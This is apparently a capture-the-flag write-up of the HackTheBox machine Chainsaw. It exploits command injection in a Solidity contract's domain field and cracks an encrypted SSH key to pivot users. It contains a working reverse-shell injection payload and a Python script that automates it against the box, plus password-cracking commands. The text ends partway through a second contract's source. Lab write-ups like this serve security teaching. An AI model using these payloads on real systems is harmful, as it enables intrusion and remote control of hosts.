Chainsaw was centered around blockchain and smart contracts, with a bit of InterPlanetary File System thrown in. I’ll get the details of a Solididy smart contract over an open FTP server, and find command injection in it to get a shell. I’ll find an SSH key for the bobby user in IPFS files. bobby has access to a SUID binary that I can interact with two ways to get a root shell. But even as root, the flag is hidden, so I’ll have to dig into the slack space around root.txt to find the flag. In Beyond root, I’ll look at the ChainsawClub binaries to see how they apply the same Web3 techniques I used to get into the box in the first place.

Box Info

Name Chainsaw Chainsaw
Play on HackTheBox
Release Date 15 Jun 2019
Retire Date 23 Nov 2019
OS Linux Linux
Base Points Hard [40]
Rated Difficulty Rated difficulty for Chainsaw
Radar Graph Radar chart for Chainsaw
First Blood User 01:30:28InfoSecJack
First Blood Root 11:01:43xct
Creators artikrh



nmap shows three ports open. FTP (TCP 21) and SSH (TCP 22) are common. TCP 9810 is unknown to me:

root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.70 ( ) at 2019-07-04 15:15 EDT
Nmap scan report for
Host is up (0.036s latency).
Not shown: 65532 closed ports
21/tcp   open  ftp
22/tcp   open  ssh
9810/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 15.68 seconds
root@kali# nmap -sV -sC -p 21,22,9810 -oA scans/nmap-scripts
Starting Nmap 7.70 ( ) at 2019-07-04 15:16 EDT
Nmap scan report for
Host is up (0.035s latency).

21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1001     1001        23828 Dec 05  2018 WeaponizedPing.json
| -rw-r--r--    1 1001     1001          243 Dec 12  2018 WeaponizedPing.sol
|_-rw-r--r--    1 1001     1001           44 Jul 04 19:09 address.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 5
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA)
|   256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA)
|_  256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519)
9810/tcp open  unknown
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 400 Bad Request
|     Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: *
|     Content-Type: text/plain
|     Date: Thu, 04 Jul 2019 19:10:19 GMT
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.1 400 Bad Request
|     Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: *
|     Content-Type: text/plain
|     Date: Thu, 04 Jul 2019 19:10:18 GMT
|     Connection: close
|     Request
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: *
|     Content-Type: text/plain
|     Date: Thu, 04 Jul 2019 19:10:18 GMT
|_    Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 22.06 seconds

Based on the OpenSSH version this looks like Ubuntu Cosmic (18.10).

FTP - TCP 21


I’ll start by looking at the anonymous FTP access and see what’s there:

root@kali# ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( anonymous
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 1001     1001        23828 Dec 05  2018 WeaponizedPing.json
-rw-r--r--    1 1001     1001          243 Dec 12  2018 WeaponizedPing.sol
-rw-r--r--    1 1001     1001           44 Jul 04 19:09 address.txt
226 Directory send OK.

I’ll grab all three files:

ftp> prompt
Interactive mode off.
ftp> bin
200 Switching to Binary mode.
ftp> mget *
local: WeaponizedPing.json remote: WeaponizedPing.json
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for WeaponizedPing.json (23828 bytes).
226 Transfer complete.
23828 bytes received in 0.04 secs (638.5010 kB/s)
local: WeaponizedPing.sol remote: WeaponizedPing.sol
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for WeaponizedPing.sol (243 bytes).
226 Transfer complete.
243 bytes received in 0.00 secs (135.1393 kB/s)
local: address.txt remote: address.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for address.txt (44 bytes).
226 Transfer complete.
44 bytes received in 0.00 secs (13.2620 kB/s)
ftp> exit
221 Goodbye.


address.txt just contains a hex string:

root@kali# cat address.txt 

That’s 40 hex digits. Not exactly sure what this is yet.

WeaponizedPing.sol gives me a clue as to what I’m dealing with here:

root@kali# cat WeaponizedPing.sol 
pragma solidity ^0.4.24;

contract WeaponizedPing 
  string store = "";

  function getDomain() public view returns (string) 
      return store;

  function setDomain(string _value) public 
      store = _value;

This is a Solidity smart contract.

WeaponizedPing.json is 599 lines of json clearly related to the contract. It contains the definition of a contract, and the part I’ll use going forward is the abi, some json that reflects the interfaces for the contract. You’ll notice it matches the variable and functions from the .sol file above. I can use jq to select it out of the larger json blob:

root@kali# cat WeaponizedPing.json | jq '.abi'
    "constant": true,
    "inputs": [],
    "name": "getDomain",
    "outputs": [
        "name": "",
        "type": "string"
    "payable": false,
    "stateMutability": "view",
    "type": "function"
    "constant": false,
    "inputs": [
        "name": "_value",
        "type": "string"
    "name": "setDomain",
    "outputs": [],
    "payable": false,
    "stateMutability": "nonpayable",
    "type": "function"

HTTP - TCP 9810

nmap showed this as HTTP, but visiting the site returns 400:

root@kali# curl
400 Bad Request

I can’t get the site to do much else at this point. I’ll need to figure out how to interact with Solidity smart contracts.

Shell as administrator

Ethereum Background

Solidity is a programming language that allows you to write smart contracts on the Ethereum blockchain. Web3 is the name for the applications / libraries used to interact with these contracts on the blockchain.

From the Solidity documentation:

A contract in the sense of Solidity is a collection of code (its functions) and data (its state) that resides at a specific address on the Ethereum blockchain

It’s clear from the documents I collected over FTP that this is what I’m faced with here. I suspect that Chainsaw port 9810 is a Web3 provider node for an Ethereum smart contract.

Interacting With the Contract


I tend to prefer command line and scripts, so I’m going to use python to connect. All the libraries are made for python3, so it’s important to make sure I’m using that version. I found the this article on connecting to the Ethereum blockchain with python useful.

Install web3:

root@kali# python3 -m pip install web3
Collecting web3

I’ll start messing around in just a python terminal. Once I get something that works, I can easily move that into a script.

root@kali# python3
Python 3.7.3 (default, Apr  3 2019, 05:39:12) 
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from web3 import Web3
>>> import json

Now I’ll connect:

>>> infura_url = ""
>>> web3 = Web3(Web3.HTTPProvider(infura_url))
>>> print(web3.isConnected())

It works!

Now that I’m connected, I want to connect with the interface of this smart contract. I’ll use the abi for this. I’ll get it from the file:

>>> with open('WeaponizedPing.json') as f:
...     wp = json.load(f)
>>> wp['abi']
[{'constant': True, 'inputs': [], 'name': 'getDomain', 'outputs': [{'name': '', 'type': 'string'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': False, 'inputs': [{'name': '_value', 'type': 'string'}], 'name': 'setDomain', 'outputs': [], 'payable': False, 'stateMutability': 'nonpayable', 'type': 'function'}]

I’ll also need the address from address.txt (which changed on box reboot/reset, and maybe in time):

>>> with open ('address.txt') as f:
...     address =
>>> address

Now I’ll connect with it:

>>> contract = web3.eth.contract(address=address, abi=wp['abi'])

I’ll enter contract.functions.[tab] and see the functions I can use:

>>> contract.functions.
contract.functions.abi         contract.functions.getDomain(  contract.functions.setDomain( 

With functions in Web3, you use .call() when you want to invoke something that doesn’t publish to the blockchain, and .transact() when you invoke something that does.

.abi just prints the input I had given it. I’ll try to .getDomain():

>>> contract.functions.getDomain().call()

In Web3, you use call() for functions that check the value of something, and transact() for functions that will write to the blockchain. I’ll try the setter function:

>>> contract.functions.setDomain('').transact()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib/python3.7/dist-packages/web3/", line 1151, in transact
  File "/usr/local/lib/python3.7/dist-packages/web3/", line 1454, in transact_with_contract_function
    txn_hash = web3.eth.sendTransaction(transact_transaction)
  File "/usr/local/lib/python3.7/dist-packages/web3/", line 269, in sendTransaction
  File "/usr/local/lib/python3.7/dist-packages/web3/", line 112, in request_blocking
    raise ValueError(response["error"])
ValueError: {'message': 'from not found; is required', 'code': -32000, 'data': {'stack': 'TXRejectedError: from not found; is required\n    at StateManager.queueTransaction (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/statemanager.js:309:14)\n    at GethApiDouble.eth_sendTransaction (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/geth_api_double.js:301:14)\n    at GethApiDouble.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/geth_api_double.js:105:10)\n    at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)\n    at GethDefaults.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/gethdefaults.js:15:12)\n    at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)\n    at SubscriptionSubprovider.FilterSubprovider.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/subproviders/filters.js:89:7)\n    at SubscriptionSubprovider.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/subproviders/subscriptions.js:136:49)\n    at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)\n    at DelayedBlockFilter.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/delayedblockfilter.js:31:3)\n    at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)\n    at RequestFunnel.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/requestfunnel.js:32:12)\n    at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)\n    at Web3ProviderEngine._handleAsync (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:103:3)\n    at Timeout._onTimeout (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:87:12)\n    at ontimeout (timers.js:498:11)\n    at tryOnTimeout (timers.js:323:5)\n    at Timer.listOnTimeout (timers.js:290:5)', 'name': 'TXRejectedError'}}

In all of that, the 'code': -32000 jumps out. Some googling reveals that error code is invalid sender. After a good bit of trouble shooting, I found I could fix this by setting the default account. I can see the current accounts:

>>> web3.eth.accounts
['0x6C65352a23D526379cc13D0F561C207F9b7438F4', '0x1dab0E960630374CD5f31e433b0eF8c2E2cAC9cd', '0xDA5D21Cd343870E9f7704d2207B6A86E978e6e0D', '0xc1C5360749E5094F61509f33fb4789de2d140e9E', '0x2a8300A870fAFDaD1dd4A040b142c61e8A7Bad8B', '0x69f7650BdE72C75F9c5Aec7a08dCBF7a7BE5f6e3', '0xA04f2bc20c6897C717c26B4A7c18FA12225bb4C7', '0x312FAE8221Babe88963410C33EaB9FDf3D45B518', '0x62B14bE59932269E846B64cA4707ebD08472A97b', '0xEa270c885F14f9adaD7516D7A291968955fd2177']

Any of them will work. I’ll set one (the 5 is chosen randomly, any account would work):

>>> web3.eth.defaultAccount = web3.eth.accounts[5]

Now I can transact:

>>> contract.functions.getDomain().call()
>>> contract.functions.setDomain('').transact()
>>> contract.functions.getDomain().call()


Alternatively, instead of python, there’s a browser for Ethereum called Remix, where I can interact with the blockchain via javascript in the browser. I’ll head there, and I get a busy page:

remix initialClick for full size image

I’ll delete the two files already on the left (ballot_test.sol and ballet.sol), and click the plus at the top left to get a new file. I’ll name it WeaponizedPing.sol, and paste in that data:


Next, I’ll find the compiler version that matches my version, 0.4.24, and select the the commit one:


I’ll click “Start to compile”. Now I’ll move to the Run tab at the top right. I’ll switch the environment to Web3 Provider, and give it the address when prompted. Then I’ll paste the address into the “At Address” field, and click that blue button. I’ll see my contract show up at the bottom under “Deployed Contract”, and after I click the triangle to expand it, I can see my functions:


Clicking “getDomain” returns the domain:


I can set it as well. When I enter “” and click “setDomain”, I see the results in the debug window in the center:


If I now hit “getDomain”:



Because the name of the contract is WeaponizedPing, I thought something (either the within the contract or something watching on Chainsaw) might be pinging the domain value. I opened up tcpdump to look for icmp with tcpdump -i tun0 -n icmp. I then updated the contract to point to my ip:

So something is reading the domain and then executing something like ping -c 1 [input]. The immediate question is, can I inject into that?

I tried this:

>>> contract.functions.setDomain('; ping -c 2').transact()

If my theory from above is right, I’d get 3 pings, because it would execute ping -c 1; ping -c 2 If I only get one ping, the injection didn’t work.

I get 3 pings:

15:11:06.716663 IP > ICMP echo request, id 1715, seq 1, length 64
15:11:06.716682 IP > ICMP echo reply, id 1715, seq 1, length 64
15:11:06.751937 IP > ICMP echo request, id 1716, seq 1, length 64
15:11:06.751981 IP > ICMP echo reply, id 1716, seq 1, length 64
15:11:07.754427 IP > ICMP echo request, id 1716, seq 2, length 64
15:11:07.754446 IP > ICMP echo reply, id 1716, seq 2, length 64


Knowing I can inject, I can run a reverse shell as well:

>>> contract.functions.setDomain("; bash -c 'bash -i >& /dev/tcp/ 0>&1'").transact()

And I get a shell on my listener:

root@kali# nc -lnvp 443
Ncat: Version 7.70 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
bash: cannot set terminal process group (1461): Inappropriate ioctl for device
bash: no job control in this shell
administrator@chainsaw:/opt/WeaponizedPing$ id
uid=1001(administrator) gid=1001(administrator) groups=1001(administrator)

Script It

Putting that all together, I’ll write a Python script to get a shell. It will read the contract files over FTP, then use Web3 to connect to the contract and issues the shell injection. After a short sleep, it will set the domain back to “”.

#!/usr/bin/env python3

import json
import sys
import time
import urllib.request
from subprocess import Popen, PIPE
from web3 import Web3

infra_url = ""

# Get address over FTP
with urllib.request.urlopen('') as add_ftp:
    address =
print(f"[+] Got address over FTP: {address}.")

# Get json over FTP
with urllib.request.urlopen('') as wp_ftp:
    wp = json.load(wp_ftp)
print(f"[+] Got abi over FTP: {wp['abi']}")

web3 = Web3(Web3.HTTPProvider(infra_url))
if not web3.isConnected():
    print(f"[-] Failed to connect to {infra_url}")
print(f"[+] Connected to web3 provider: {infra_url}")

contract = web3.eth.contract(address=address, abi=wp['abi'])
web3.eth.defaultAccount = web3.eth.accounts[5]

print("[*] Starting listener on port 443")
nc = Popen(("nc -nl 443"), shell=True)

print(f"[*] Current domain value is: {contract.functions.getDomain().call()}")
contract.functions.setDomain("; bash -c 'bash -i >& /dev/tcp/ 0>&1'").transact()
print(f"[+] Domain value now: {contract.functions.getDomain().call()}")
print(f"[*] Sleeping to allow connection")



print(f"[+] Set domain value back to {contract.functions.getDomain().call()}")
root@kali# ./ 
[+] Got address over FTP: 0x8Dfbf1e0cFdB8747bedd6c3754674bbedd24A05C.
[+] Got abi over FTP: [{'constant': True, 'inputs': [], 'name': 'getDomain', 'outputs': [{'name': '', 'type': 'string'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': False, 'inputs': [{'name': '_value', 'type': 'string'}], 'name': 'setDomain', 'outputs': [], 'payable': False, 'stateMutability': 'nonpayable', 'type': 'function'}]
[+] Connected to web3 provider:
[*] Starting listener on port 443
[*] Current domain value is:
[+] Domain value now:; bash -c 'bash -i >& /dev/tcp/ 0>&1'
[*] Sleeping to allow connection
bash: cannot set terminal process group (1527): Inappropriate ioctl for device
bash: no job control in this shell
administrator@chainsaw:/opt/WeaponizedPing$ id
uid=1001(administrator) gid=1001(administrator) groups=1001(administrator)

Priv: administrator –> bobby


Home Directories

In the homedir, there’s no user.txt. There is one other user on Chainsaw, bobby, but I don’t have access to that home folder at all:

administrator@chainsaw:/opt/WeaponizedPing$ ls -l /home
total 8
drwxr-x--- 8 administrator administrator 4096 Dec 20  2018 administrator
drwxr-x--- 9 bobby         bobby         4096 Jan 23  2019 bobby

Still, there are a couple interesting things in administrator’s home folder:

administrator@chainsaw:/home/administrator$ ls -la
total 104
drwxr-x--- 8 administrator administrator  4096 Dec 20  2018 .
drwxr-xr-x 4 root          root           4096 Dec 12  2018 ..
lrwxrwxrwx 1 administrator administrator     9 Dec 12  2018 .bash_history -> /dev/null
-rw-r----- 1 administrator administrator   220 Dec 12  2018 .bash_logout
-rw-r----- 1 administrator administrator  3771 Dec 12  2018 .bashrc
-rw-r----- 1 administrator administrator   220 Dec 20  2018 chainsaw-emp.csv
drwxrwxr-x 5 administrator administrator  4096 Jan 23 09:27 .ipfs
drwxr-x--- 3 administrator administrator  4096 Dec 12  2018 .local
drwxr-x--- 3 administrator administrator  4096 Dec 13  2018 maintain
drwxr-x--- 2 administrator administrator  4096 Dec 12  2018 .ngrok2
-rw-r----- 1 administrator administrator   807 Dec 12  2018 .profile
drwxr-x--- 2 administrator administrator  4096 Dec 12  2018 .ssh
drwxr-x--- 2 administrator administrator  4096 Dec 12  2018 .swt
-rw-r----- 1 administrator administrator  1739 Dec 12  2018 .tmux.conf
-rw-r----- 1 administrator administrator 45152 Dec 12  2018 .zcompdump
lrwxrwxrwx 1 administrator administrator     9 Dec 12  2018 .zsh_history -> /dev/null
-rw-r----- 1 administrator administrator  1295 Dec 12  2018 .zshrc

chainsaw-emp.csv is a list of employees, only one of whom, bobby, is active:

administrator@chainsaw:/home/administrator$ cat chainsaw-emp.csv 
arti@chainsaw,No,Network Engineer
bryan@chainsaw,No,Java Developer
bobby@chainsaw,Yes,Smart Contract Auditor
lara@chainsaw,No,Social Media Manager
wendy@chainsaw,No,Mobile Application Developer

The maintain folder has a script, and another dir with public keys in it:

administrator@chainsaw:/home/administrator/maintain$ find .

The script just uses Python to create RSA key pairs:

administrator@chainsaw:/home/administrator/maintain$ cat 
from Crypto.PublicKey import RSA
from os import chmod
import getpass

def generate(username,password):
        key = RSA.generate(2048)
        pubkey = key.publickey()

        pub = pubkey.exportKey('OpenSSH')
        priv = key.exportKey('PEM',password,pkcs=1)

        filename = "{}.key".format(username)

        with open(filename, 'w') as file:
                chmod(filename, 0600)

        with open("{}.pub".format(filename), 'w') as file:

        # TODO: Distribute keys via ProtonMail

if __name__ == "__main__":
        while True:
                username = raw_input("User: ")
                password = getpass.getpass()

The comment about distributing keys over Protonmail is interesting. If I can find evidence of that, I might find the keys.


There’s also a .ipfs folder in administrator’s homedir. InterPlentary File System, or IPFS, is a peer-to-peer distributed file system protocol that allows you to use other people’s computers as cloud storage (what could go wrong?).

I’ll look for information about the other user on the box, bobby, and find it:

administrator@chainsaw:/home/administrator$ grep -r bobby .
./chainsaw-emp.csv:bobby@chainsaw,Yes,Smart Contract Auditor
Binary file ./.ipfs/blocks/SG/ matches
Binary file ./.ipfs/blocks/JL/ matches
./.ipfs/blocks/OY/ <>
./.ipfs/blocks/OY/ bobby.key.enc
./.ipfs/blocks/OY/ application/octet-stream; filename="bobby.key.enc"; name="bobby.key.enc"
./.ipfs/blocks/OY/ attachment; filename="bobby.key.enc"; name="bobby.key.enc"
./.ipfs/blocks/SP/,Yes,Java Developer

.ipfs/blocks/OY/ seems to have references to I’ll check out that file:

administrator@chainsaw:/home/administrator$ cat ./.ipfs/blocks/OY/

$X-Pm-Origin: internal
X-Pm-Content-Encryption: end-to-end
Subject: Ubuntu Server Private RSA Key
From: IT Department <>
Date: Thu, 13 Dec 2018 19:28:54 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------d296272d7cb599bff2a1ddf6d6374d93
To: <>
X-Attached: bobby.key.enc
Message-Id: <>
Received: from by; Thu, 13 Dec 2018 14:28:58 -0500
Return-Path: <>

Content-Type: multipart/related;boundary=---------------------ffced83f318ffbd54e80374f045d2451

Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64

Content-Type: application/octet-stream; filename="bobby.key.enc"; name="bobby.key.enc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bobby.key.enc"; name="bobby.key.enc"


There’s two sections there that are base64 encoded. The first is the email message:

root@kali# vim message.b64
root@kali# base64 -d message.b64 
<div>Bobby,<br></div><div><br></div><div>I am writing this email in reference to the method on how we access our Linux server from now on. Due to security reasons, we have disabled SSH password authentication and instead we will use private/public key pairs to securely and conveniently access the machine.<br></div><div><br></div><div>Attached you will find your personal encrypted private key. Please ask&nbsp;reception desk for your password, therefore be sure to bring your valid ID as always.<br></div><div><br></div><div>Sincerely,<br></div><div>IT Administration Department<br></div>

The second is an SSH key:

root@kali# vim bobby.key.enc.b64
root@kali# base64 -d bobby.key.enc.b64 
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,53D881F299BA8503


Crack Password

I’ll crack the password on the key with john / rockyou:

root@kali# base64 -d bobby.key.enc.b64 > bobby.key.enc
root@kali# /opt/john/run/ bobby.key.enc > bobby.key.enc.john
root@kali# /opt/john/run/john bobby.key.enc.john --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 3 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
jackychain       (bobby.key.enc)
1g 0:00:00:14 DONE (2019-07-06 17:31) 0.06770g/s 971001p/s 971001c/s 971001C/s     1990..*7¡Vamos!
Session completed

I’ll make a copy of the key with no password:

root@kali# openssl rsa -in bobby.key.enc -out ~/id_rsa_chainsaw_bobby
Enter pass phrase for bobby.key.enc:
writing RSA key

SSH Shell

Now I can connect as bobby:

root@kali# ssh -i ~/id_rsa_chainsaw_bobby bobby@
bobby@chainsaw:~$ id
uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip)

And grab user.txt:

bobby@chainsaw:~$ cat user.txt 

Priv: bobby –> root


In addition to user.txt, there’s two folders in bobby’s homedir:

bobby@chainsaw:~$ ls
projects  resources  user.txt

resources has documentation related to IPFS:

bobby@chainsaw:~$ find resources/ -type f

projects has .json and .sol files, as well as a SUID binary:

bobby@chainsaw:~$ find projects/ -type f -ls
   787875     20 -rwsr-xr-x   1 root     root        16544 Jan 12  2019 projects/ChainsawClub/ChainsawClub
   787871    124 -rw-r--r--   1 root     root       126388 Jan 23  2019 projects/ChainsawClub/ChainsawClub.json
   787872      4 -rw-r--r--   1 root     root         1164 Jan 23  2019 projects/ChainsawClub/ChainsawClub.sol

When I run it, it says that I must sign up, and then I can log in:

bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 

      _           _
     | |         (_)
  ___| |__   __ _ _ _ __  ___  __ ___      __
 / __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V  V /
 \___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.


There’s also now an additional file in the folder:

bobby@chainsaw:~/projects/ChainsawClub$ ls
address.txt  ChainsawClub  ChainsawClub.json  ChainsawClub.sol

Path 1: Interact with Contract

The intended path here was the exploit this second smart contract. In fact, I can see it listening on TCP 63991:

bobby@chainsaw:~/projects/ChainsawClub$ netstat -tnlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0  *               LISTEN      -                   
tcp        0      0 *               LISTEN      -                   
tcp        0      0    *               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -   

If I try to connect, I see the same thing I saw on port 9810 during original enumeration:

bobby@chainsaw:~/projects/ChainsawClub$ curl -s
400 Bad Request

I’m in the same position I was originally in, with the information I need to connect over web3. I’ll use SSH Control Sequences to forward 63991 on my local box through SSH to 63991 on Chainsaw:

ssh> -L 63991:
Forwarding port. 

I’ll also copy all the files back to my host:

root@kali# scp -i ~/id_rsa_chainsaw_bobby bobby@* .
address.txt                                                                          100%   44     2.4KB/s   00:00
ChainsawClub                                                                         100%   16KB 474.7KB/s   00:00                                                                        
ChainsawClub.json                                                                    100%  123KB   2.8MB/s   00:00
ChainsawClub.sol                                                                     100% 1164    83.3KB/s   00:00 

Now I can connect with a Python terminal again, and load the json and address:

>>> infura_url = ""
>>> web3 = Web3(Web3.HTTPProvider(infura_url))      
>>> print(web3.isConnected())
>>> with open('ChainsawClub.json') as f:
...     wp = json.load(f)
>>> wp['abi']
[{'constant': True, 'inputs': [], 'name': 'getUsername', 'outputs': [{'name': '', 'type': 'string'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': False, 'inputs': [{'name': '_value', 'type': 'string'}], 'name': 'setUsername', 'outputs': [], 'payable': False, 'stateMutability': 'nonpayable', 'type': 'function'}, {'constant': True, 'inputs': [], 'name': 'getPassword', 'outputs': [{'name': '', 'type': 'string'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': False, 'inputs': [{'name': '_value', 'type': 'string'}], 'name': 'setPassword', 'outputs': [], 'payable': False, 'stateMutability': 'nonpayable', 'type': 'function'}, {'constant': True, 'inputs': [], 'name': 'getApprove', 'outputs': [{'name': '', 'type': 'bool'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': False, 'inputs': [{'name': '_value', 'type': 'bool'}], 'name': 'setApprove', 'outputs': [], 'payable': False, 'stateMutability': 'nonpayable', 'type': 'function'}, {'constant': True, 'inputs': [], 'name': 'getSupply', 'outputs': [{'name': '', 'type': 'uint256'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': True, 'inputs': [], 'name': 'getBalance', 'outputs': [{'name': '', 'type': 'uint256'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': False, 'inputs': [{'name': '_value', 'type': 'uint256'}], 'name': 'transfer', 'outputs': [], 'payable': False, 'stateMutability': 'nonpayable', 'type': 'function'}, {'constant': False, 'inputs': [], 'name': 'reset', 'outputs': [], 'payable': False, 'stateMutability': 'nonpayable', 'type': 'function'}]
>>> with open('address.txt','r') as f:
...     address =
>>> address

Now I’ll create the contract, set the default user, and see what functions I have available (both by hitting tab after contract.function. or with dir):

>>> contract = web3.eth.contract(address=address, abi=wp['abi'])
>>> web3.eth.defaultAccount = web3.eth.accounts[0]
>>> contract.functions.
contract.functions.abi           contract.functions.getBalance(   contract.functions.getSupply(    contract.functions.reset(        contract.functions.setPassword(  contract.functions.transfer(
contract.functions.getApprove(   contract.functions.getPassword(  contract.functions.getUsername(  contract.functions.setApprove(   contract.functions.setUsername(  
>>> dir(contract.functions)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattr__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_functions', 'abi', 'getApprove', 'getBalance', 'getPassword', 'getSupply', 'getUsername', 'reset', 'setApprove', 'setPassword', 'setUsername', 'transfer']

I was able to create a user and a password:

>>> contract.functions.setUsername('0xdf').transact()
>>> contract.functions.setPassword('0xdf').transact()

I then tried to login, but it didn’t work:

bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 

      _           _
     | |         (_)
  ___| |__   __ _ _ _ __  ___  __ ___      __
 / __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V  V /
 \___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username: 0xdf
[*] Wrong credentials!

Looking more closely at the ChainsawClub.sol file, I see default values for the variables at the top:

pragma solidity ^0.4.22;

contract ChainsawClub {

  string username = 'nobody';
  string password = '7b455ca1ffcb9f3828cfdde4a396139e';
  bool approve = false;
  uint totalSupply = 1000;
  uint userBalance = 0;

  function getUsername() public view returns (string) {
      return username;
  function setUsername(string _value) public {
      username = _value;
  function getPassword() public view returns (string) {
      return password;
  function setPassword(string _value) public {
      password = _value;
  function getApprove() public view returns (bool) {
      return approve;
  function setApprove(bool _value) public {
      approve = _value;
  function getSupply() public view returns (uint) {
      return totalSupply;
  function getBalance() public view returns (uint) {
      return userBalance;
  function transfer(uint _value) public {
      if (_value > 0 && _value <= totalSupply) {
          totalSupply -= _value;
          userBalance += _value;
  function reset() public {
